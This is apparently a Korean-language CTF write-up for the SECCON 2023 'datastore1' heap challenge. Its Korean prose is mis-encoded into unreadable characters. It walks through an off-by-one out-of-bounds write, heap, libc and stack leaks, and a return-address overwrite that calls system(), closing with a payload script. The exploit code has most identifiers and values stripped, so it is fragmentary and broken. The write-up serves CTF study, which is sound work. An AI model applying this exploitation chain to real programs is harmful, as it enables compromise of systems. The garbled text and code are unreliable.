SECCON CTF 2023 Quals - datastore1
๋ชฉ์ฐจ
0x00. Introduction
Structure
typedef struct data_t;
typedef struct Array arr_t;
typedef struct String str_t;
๋ฐ์ดํฐ๋ฅผ ํน์ดํ ๋ฐฉ์์ผ๋ก ์ ์ฅํด์ ์ฒ์์ ์ ์ํ๊ธฐ ๊น๋ค๋ก์ ๋ค. ์ด๋ ต๊ฒ ์๊ฐํ์ง ๋ง๊ณ ์ด๋ค ๋ฐ์ดํฐ๋ฅผ data_t์ ์ ์ฅํ๋๋ฐ, ๋ฐ์ดํฐ์ ์ ํ์ ๋ฐ๋ผ ๋ค๋ฅธ ๋ฐฉ์์ผ๋ก ์ ์ฅํ๋ค๊ณ ์๊ฐํ๋ฉด ๋๋ค.
Concept
> 1
> a
> 2
<ARRAY()์ ๋ ฅ๊ฐ์ ๋ฐ๋ผ heap์ ๋ฐ์ดํฐ๋ฅผ ์์ ๋กญ๊ฒ ์ ์ฅํ๊ฑฐ๋ ์กฐํํ ์ ์๋ค.
0x01. Vulnerability
์ทจ์ฝ์ ์ edit() ํจ์์์ Array๋ฅผ ๋ค๋ฃฐ ๋ ๋ฐ์ํ๋ค.
static int
์
๋ ฅํ idx ๊ฐ์ด arr->count๋ณด๋ค ํฐ ์ง ๊ฒ์ฆํ๋๋ฐ, ๋ ๊ฐ์ด ๊ฐ์ ๊ฒฝ์ฐ๋ฅผ ๊ฒ์ฆํ์ง ์์ OOB๊ฐ ๋ฐ์ํ๋ค. ์๋ฅผ ๋ค์ด arr->count๊ฐ 4์ด๋ฉด data[0]~data[3]์ด ์์ฑ๋๋๋ฐ, ์์ง๋ ์์ data[4]์ ์ ๊ทผํ ์ ์์ด arr ๋ฐ๋ก ๋ค์ ์์ญ์ ์ ๊ทผํ ์ ์๋ค.
์์ผ ์ด ๊ฐ๋จํ ์ทจ์ฝ์ ์ผ๋ก ์์ด ๋ฐ์ธ๋ค๋ ๋๋๋คโฆ ์ญ์ ์ทจ์ฝ์ ์ ์ฐ์ exploitability๋ฅผ ๋ง๋ก ํ๊ณ bug๋ฅผ ์ฐพ๋๋ค๋ ๊ด์ ์ผ๋ก ๋ด์ผํ๋ ๊ฒ ๊ฐ๋ค.
0x02. Exploit
Heap Leak
์ฐ์ ์ทจ์ฝ์ ์ ํธ๋ฆฌ๊ฑฐํ๊ธฐ ์ํด ๋ค์๊ณผ ๊ฐ์ด Array๋ฅผ ํ ๋นํ๋ค.
์ฌ๊ธฐ์์ edit()์ ์ธ ๋ฒ์งธ ์ธ์์ ๋ค์ด๊ฐ๋ list๋ Array์ index๋ฅผ ๋ปํ๋๋ฐ, ์๋ฅผ ๋ค๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
- [] :
root->*p_arr - [0] : [00]
- [0, 1] : [00] -> [01]
๊ทธ๋ฌ๋ฏ๋ก edit(s, 'u', [0, 1], 'a', 4)์ ์๋ฏธ๋ โ[00] -> [01] ์์น์ ๊ธธ์ด๊ฐ 4์ธ arr_t๋ฅผ ์์ฑํ๋คโ ๋ ์๋ฏธ๋ฅผ ๊ฐ์ง๋ค.
์ด๋ ๊ฒ data_t ๊ฐ์ฒด๋ค์ ์์ฑํ๋ฉด ๋ฉ๋ชจ๋ฆฌ๋ ๋ค์๊ณผ ๊ฐ๋ค.
# root : 0x5555555592a0
# []
# [0]
# [0, 0]
# [0, 1]
Heap์์ ์ฐ์์ ์ผ๋ก chunk๋ฅผ ํ ๋นํด์ฃผ์ด [0, 0]๊ณผ [0, 1]์ด ์ธ์ ํ ๋ฉ๋ชจ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ํ์ธํ ์ ์๋ค. ๋ฐ๋ผ์ OOB ์ทจ์ฝ์ ์ ์ด์ฉํด์ ์กด์ฌํ์ง ์๋ [0, 0, 4]์ ์ ๊ทผํ๊ฒ ๋๋ฉด 0x555555559378~0x555555559380 ์์ญ์ overwriteํ ์ ์๊ฒ ๋๋ค.
0x555555559378:[0, 1]chunk์ header0x555555559380:[0, 1]->count
show() ํจ์์์ ๊ฐ์ฒด์ ํฌ๊ธฐ๋ฅผ ์ฐธ์กฐํ์ฌ data_t->type๊ณผ ํจ๊ป ์ถ๋ ฅํด์ฃผ๋ฏ๋ก, count์ ์ด๋ค ์ฃผ์๊ฐ ์ฐ์ด๋๋ก ํ ์ ์๋ค๋ฉด leak์ด ๊ฐ๋ฅํ๋ค.
)>
)>
)>
)>
)>
[0, 0, 4]์ ์๋ก์ด arr_t๋ฅผ ํ ๋นํ ๊ฒฝ์ฐ, ๋ค์๊ณผ ๊ฐ์ด ํ ๋น์ด ๋๋ค.
0x555555559378:[0, 1]chunk์ header ->data_t->type0x555555559380:[0, 1]->count->data_t->*p_arr
๊ทธ๋ฐ๋ฐ [0, 0, 4]์ ์ ๊ทผ ์ edit()์์ show() ํจ์๋ฅผ ํธ์ถํด ํ์ฌ ์ ์ฅ๋ ๋ฐ์ดํฐ์ ์ํ๋ฅผ ๋ณด์ฌ์ค๋ค.
static int
์ด ๋ data_t->type์ chunk size์ธ 0x51์ด ์ ์ฅ๋์ด์๊ณ ์ด๋ type_t์ ์ ์๋์ง ์์ ๊ฐ์ด๊ธฐ ๋๋ฌธ์ show() ํจ์์์ exit()์ด ํธ์ถ๋์ด๋ฒ๋ฆฐ๋ค.
static int
๋ฐ๋ผ์ arr_t ์์ฑ ์ ์ edit()์ delete๋ฅผ ์ด์ฉํ์ฌ data_t->type์ผ๋ก ํด์๋๋ ๊ฐ์ 0์ผ๋ก ์ด๊ธฐํํ ํ์๊ฐ ์๋ค.
# overwrite arr_t.count of [0, 1]
์ด๋ ๊ฒ overwrite์ ์ฑ๊ณตํ๋ฉด [0, 1]->count ๋ถ๋ถ์ ์๋ก์ด arr_t ์ฃผ์๊ฐ ๋ด๊ธฐ๊ฒ ๋๊ณ , show()๋ฅผ ์ด์ฉํด ๊ฐ์ ์ถ๋ ฅํ ์ ์๋ค.
Heap Overflow
์ด์ arr_t๋ก heap leak์ด ๊ฐ๋ฅํ์ผ๋ ๋ค๋ฅธ ๊ตฌ์กฐ์ฒด์ธ str_t์ ์ด์ฉํด exploit์ ์๋ํ๋ ค๊ณ ํ๋ค.
typedef struct String str_t;
OOB๋ฅผ ์ด์ฉํด size, *content๋ฅผ ๋ฎ์ผ๋ฉด ์์ ์ฃผ์๋ฅผ read / writeํ ์ ์๊ฒ ๋ค๋ ์๊ฐ์ด ๋ค์๋ค.
์ payload๋ฅผ ์ด์ฉํด str_t ๊ฐ์ฒด๋ค์ ํ ๋นํ๋ฉด ๋ฉ๋ชจ๋ฆฌ ๊ตฌ์กฐ๋ ๋ค์๊ณผ ๊ฐ๋ค.
์ด๋ ๊ฒ OOB ์ทจ์ฝ์ ์ ์ด์ฉํด์ [0, 2, 0]์ size์ *content๋ฅผ ๋ฎ๊ณ ์ถ์ด๋ ์ธ์ ํ ์์ญ์ ํ ๋น๋์ง ์๋๋ฐ, create()์์ ์
๋ ฅ์ ๋ฐ๋ ๋ฐฉ์ ๋๋ฌธ์ ๋ฐ์ํ๋ ๋ฌธ์ ์ด๋ค.
static int
scanf()๋ฅผ ๋ณด๋ฉด ํน์ดํ formatter๋ฅผ ์ฌ์ฉํ๋๋ฐ, m์ GNU ํ์ฅ ๊ธฐ๋ฅ ์ค ํ๋๋ก heap ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํ ๋นํ์ฌ ์
๋ ฅ๊ฐ์ ์ ์ฅํ๋ค. ์์ธํ ๋ณด๋ฉด buf์ ์
๋ ฅ์ ๋ฐ์ ๋ค์ ์ฃผ์๋ฅผ str->content์ ๋ฃ์ด๋๊ณ free()์ํค๋๋ฐ, ์ด์ฐจํผ buf๊ฐ NULL๋ก ์ด๊ธฐํ๋๊ธฐ ๋๋ฌธ์ ์๋ฌด๋ฐ ํด์ ๊ฐ ์ผ์ด๋์ง๋ ์๋๋ค.
์ด์ฐ๋๊ฑด scanf()๋ฅผ ํ ๋ 70๋ฐ์ดํธ๋ฅผ ์
๋ ฅ๋ฐ๊ธฐ ์ํด ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํ ๋นํ๊ณ , ์
๋ ฅ๊ฐ์ ์ ์ฅํ ๋ค ๋๋จธ์ง ๋ฉ๋ชจ๋ฆฌ๋ ํด์ ํ๋ ๋์์ ์ํํ๋ค. ์ด ๊ณผ์ ์์ heap์ ์ฌ์ฉํ๊ธฐ ๋๋ฌธ์ str_t๋ณด๋ค buf๊ฐ ๋จผ์ ํ ๋น๋์ด ์ธ์ ํ ์์ญ์ [0, 2, 0]์ด ํ ๋น๋์ง ์๋๋ค. ๋ฐ๋ผ์ str_t์ chunk size์ ๋์ผํ ํฌ๊ธฐ๋ฅผ ๊ฐ์ง๋ chunk๋ฅผ ํด์ ํด๋๊ณ create()๋ฅผ ํธ์ถํ๋๋ก payload๋ฅผ ์์ฑํด์ผํ๋ค.
์ด๋ฅผ ์ํด heap leak ๊ณผ์ ์์ [0, 1]->count๋ฅผ overwriteํ ๋ chunk size๊ฐ 0x20์ด ๋๋๋ก arr_t->count๊ฐ 1์ธ ๊ฐ์ฒด๋ฅผ [0, 0, 4]์ ์์ฑํ์๋ค.
# free [0, 0, 4] (0x20 chunk) and reallocate it to [0, 2, 0] (str_t, also 0x20)
์ด๋ ๊ฒ payload๋ฅผ ์์ฑํ ๋ค ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
์ด์ ์ผ [0, 2, 0]์ด [0, 3]๊ณผ ์ธ์ ํ๊ฒ ํ ๋น๋์์ผ๋ฏ๋ก OOB ์ทจ์ฝ์ ์ ์ด์ฉํ ์ ์๋ค.
# now that [0, 2, 0] is where [0, 0, 4] was, overwrite str_t.size of [0, 2, 0]
์ payload์ ๊ฐ์ด [0, 3, 4]์ ์ ๊ทผํ์ฌ v_uint๋ก ํด์๋๊ฒ๋ 0x1000์ ์
๋ ฅํ๋ฉด ๋ฉ๋ชจ๋ฆฌ์ ๋ค์๊ณผ ๊ฐ์ด ์ ์ฅ๋๋ค.
str_t ๊ตฌ์กฐ์ฒด์ธ [0, 2, 0]->size ์์ญ์ 0x1000์ด ์ฐ์ฌ์ก์ผ๋ ์ด ๊ฐ์ฒด๋ฅผ ์ด์ฉํ์ฌ *content์ ์ ์ฅ๋ ์ฃผ์์ธ 0x555555559490๋ถํฐ 0x1000๋ฐ์ดํธ๋ฅผ ์์ ๋กญ๊ฒ overwriteํ ์ ์๋ค.
Libc Leak
๋ฌธ์ ๋ฅผ ํ ๋๋ ๋๋ ทํ ๋ชฉ์ ์ฑ ์์ด *โheap overflow๊ฐ ๊ฐ๋ฅํ๋๊น ์ผ๋จ chunk size๋ฅผ ๋ฎ์ด์ libc leak์ ํด์ผ๊ฒ ๋คโ*๊ณ ์๊ฐํ๋๋ฐโฆ
*โPIE๋ ์ผ์ ธ์๊ณ Full Relro๋ ์ ์ฉ๋์ด์์ผ๋ GOT overwrite๋ ํฌ๊ธฐํ๊ณ libc leak -> stack leak์ ํด์ return address๋ฅผ ๋ฎ์ด์ผ๊ฒ ๋คโ*๊ฐ ์ฌ๋ฐ๋ฅธ ์ฌ๊ณ ์ ๊ณผ์ ์ธ ๊ฒ ๊ฐ๋ค.
์๋ฌดํผ chunk๋ฅผ unsorted bin์ผ๋ก ๋ณด๋ด์ main_arena ์ฃผ์๊ฐ ๋ด๊ธฐ๊ฒํ๋ ๊ธฐ๋ฒ์ ํตํด libc leak์ ์งํํ์๋ค. ์ด ๋ ๋ช ๊ฐ์ง ๋ง์ถฐ์ผ ํ ์กฐ๊ฑด์ด ์์๋๋ฐ, ๊ทธ๋ ์ง ์์ผ๋ฉด chunk๊ฐ unsorted bin์ผ๋ก ๋ณด๋ด์ง์ง ์๋๋ค.
- chunk size๊ฐ 0x420 ์ด์์ผ ๊ฒ
- ํด๋น chunk์ ๋ค์ ์์ญ์ chunk๊ฐ ์กด์ฌํ ๊ฒ(
next_chunk) next_chunk๊ฐ top chunk๊ฐ ์๋ ๊ฒ
ํนํ ์ธ ๋ฒ์งธ ์กฐ๊ฑด๊ณผ ๋ฐ๋๋ก next_chunk๊ฐ top chunk์ผ ๊ฒฝ์ฐ ๊ทธ๋ฅ top chunk์ ๋ณํฉ๋์ด๋ฒ๋ ค์ chunk๊ฐ unsorted bin์ผ๋ก ๋ณด๋ด์ง์ง ์๋๋ค.
์กฐ๊ฑด์ ํ๋์ฉ ๋ง์ถ๊ธฐ ์ํด ์์ heap overflow ์ํฉ์์์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋ณด๋ฉด,
[0, 2, 2]์ chunk size๋ฅผ 0x421๋ก ๋ฐ๊ฟ free()์ํจ ํ main_arena ์ฃผ์๊ฐ ์ฐ์ด๋ฉด [0, 2, 1]->*content๋ฅผ [0, 2, 2] ์ฃผ์๋ก ๋ฐ๊ฟ ์ถ๋ ฅ์ ํ๊ฒ๋ ์๋๋ฆฌ์ค๋ฅผ ๊ตฌ์ฑํ๋ค.
๋ฐ๋ผ์ chunk size overwrite์ [0, 2, 1]->*content๋ฅผ ๋ฐ๊พธ๋ ๊ฒ์ ๊ณ ๋ คํด์ payload๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ์์ฑํ๋ค. ์ด ๋ ๋ค๋ฅธ chunk๋ค์ ๊ฑด๋ค์ด๋ฉด free()์์ ์๋ฌ๊ฐ ๋ฐ์ํด ๊ตฌ์กฐ๋ฅผ ๊ทธ๋๋ก ์ ์งํ๋๋ก ์์ฑํ์๋ค.
# overwrite chunk_size of [0, 2, 2] ("CCCC")
= b * 0x10
+= +
+= b * 0x40
+= +
+= b * 0x10
+= +
+= b * 0x40
+= +
+= + # set [0, 2, 1]->content to [0, 2, 2]
+= +
+= b * 0x10
+= +
+= b * 0x40
+= +
์ด์ ๋ ๋ฒ์งธ, ์ธ ๋ฒ์งธ ์กฐ๊ฑด์ ๋ง์ถ๊ธฐ ์ํ payload๋ ๋ค์๊ณผ ๊ฐ๋ค.
# align top chunk; nextchunk of 0x420 chunk should not be top chunk
# next_chunk
[0, 2, 3, 2]๊น์ง๋ง ๊ฐ์ฒด๋ค์ ์์ฑํ๋ฉด [0, 2, 2]์ next_chunk๊ฐ top chunk๊ฐ ๋๋ฏ๋ก [0, 2, 3, 3]์ ๊ผญ ์์ฑํด์ฃผ์ด์ผ ํ๋ค.
)>
)>
Stack Leak
Libc ์ฃผ์๊ฐ ์์ผ๋ environ ๋ณ์๋ฅผ ์ด์ฉํด์ stack leak์ด ๊ฐ๋ฅํ๋ค.
# arbitrary read (environ)
= b * 0xe0
+= +
์์์๋ chunk ํ ๋น๊ณผ ํด์ ๋ฅผ ํ๊ธฐ ๋๋ฌธ์ chunk ๊ตฌ์กฐ๋ฅผ ๋ง์ถฐ์ payload๋ฅผ ์์ฑํ๋๋ฐ, ์ด์ ๋ ๊ทธ๋ด ํ์๊ฐ ์์ผ๋ [0, 2, 1]๊ณผ์ offset๋ง ์ ๋ง์ถฐ์ฃผ๋ฉด leak์ด ๊ฐ๋ฅํ๋ค.
Ret Overwrite
๋ง์ง๋ง์ผ๋ก RIP control์ ์ํด์ return address๋ฅผ ๋ฎ๊ธฐ๋ก ํ๋ค. ๋จผ์ [0, 2, 1]->*content๊ฐ main()์ return address๊ฐ ์ ์ฅ๋ stack ์ฃผ์๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ์ค์ ํ๋ค. ์ดํ libc์ ์๋ ๊ฐ์ ฏ์ ์ด์ฉํ์ฌ ์ธ์๋ฅผ ์ค์ ํ๊ณ system() ํจ์๋ฅผ ํธ์ถํ๋ค.
๋ค๋ง ์ด ๋ syscall ๋น์์ stack alignment๊ฐ ๋ง์ง ์์ pop rdi; pop rbp ๊ฐ์ ฏ์ ์ฌ์ฉํ๋ค.
# arbitrary write (ret of main)
= b * 0xe0
+= +
= 0x2a745
=
+=
+= b * 8
+=
0x03. Payload
=
=
=
= 0x555555554000
=
=
return
return
=
return
= f
=
=
=
=
=
=
# overwrite arr_t.count of [0, 1]
# heap leak
= # invalid index to return menu
= - 0x470
# free [0, 0, 4] (0x20 chunk) and reallocate it to [0, 2, 0] (str_t, also 0x20)
# now that [0, 2, 0] is where [0, 0, 4] was, overwrite str_t.size of [0, 2, 0]
# align top chunk; nextchunk of 0x420 chunk should not be top chunk
# next_chunk
# overwrite chunk_size of [0, 2, 2] ("CCCC")
= b * 0x10
+= +
+= b * 0x40
+= +
+= b * 0x10
+= +
+= b * 0x40
+= +
+= + # set [0, 2, 1]->content to [0, 2, 2]
+= +
+= b * 0x10
+= +
+= b * 0x40
+= +
# move [0, 2, 2] ("CCCC") to unsorted bin
# libc leak
= # invalid index to return menu
= - 0x21ace0
# arbitrary read (environ)
= b * 0xe0
+= +
# stack leak
=
=
= - 0x120
# arbitrary write (ret of main)
= b * 0xe0
+= +
= 0x2a745
=
+=
+= b * 8
+=
# exit
=
=